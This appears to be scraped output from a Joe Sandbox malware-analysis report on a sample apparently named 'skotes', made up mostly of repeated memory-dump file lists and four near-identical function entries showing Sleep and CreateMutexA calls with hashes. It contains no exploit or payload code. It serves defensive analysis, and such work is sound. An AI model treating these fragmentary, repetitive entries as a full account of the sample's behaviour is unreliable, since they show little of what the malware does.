Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 22f81ccf4c35b36a39c52e1b69a717877e349d59b95755585f60bf4a2336c843
Instruction ID: 86ece5abbd4c0532483802f072bffdeed8f3b5b0e79f8e65ea9c34d5af5224c3
Opcode Fuzzy Hash: 22f81ccf4c35b36a39c52e1b69a717877e349d59b95755585f60bf4a2336c843
Instruction Fuzzy Hash: C831F331B00104EBEB18DBB8D88DBADB772ABC6314F244718E0549B2D2D77D9980C726

Function 007AA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8b16a384742081532363af793cbac7b2c9ef8ddf2647c51764259b704c460c26
Instruction ID: 4739a1e875badec95e3a66460077c6f01d0948e4c6c5f08ab413e837ce149851
Opcode Fuzzy Hash: 8b16a384742081532363af793cbac7b2c9ef8ddf2647c51764259b704c460c26
Instruction Fuzzy Hash: ED31D371704104EBEB18DBB8DC89BAEB7B6ABC6310F248719E014972D6D77D9980C762

Function 007A9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 520897aa6bc26330555b82bcea9f87a3d18250893646c857d954cf6958ec8f5a
Instruction ID: e4e4f5b64c40181af790310859ecb3f07abfc2c7d18c4b4b7be0eaa1562f5531
Opcode Fuzzy Hash: 520897aa6bc26330555b82bcea9f87a3d18250893646c857d954cf6958ec8f5a
Instruction Fuzzy Hash: D6213771704200EBEB18AB68DC8D76DB765EFC6310F204319E508C72D2E77D9980C712

Function 007AA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a5ba1149ec56d8c40e2ce91bca10d800af7fb46fdffd8d4a938d485f3b66abf4
Instruction ID: d1cc7199e77d634cafcee88065357cdef4a13e220f0ede9e67afab68bd823d39
Opcode Fuzzy Hash: a5ba1149ec56d8c40e2ce91bca10d800af7fb46fdffd8d4a938d485f3b66abf4
Instruction Fuzzy Hash: 47212871348201EAEB2DA768CC8EB3DB3619FD7700F240A16E148D62D2DB7E9981C353

Function 007AA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
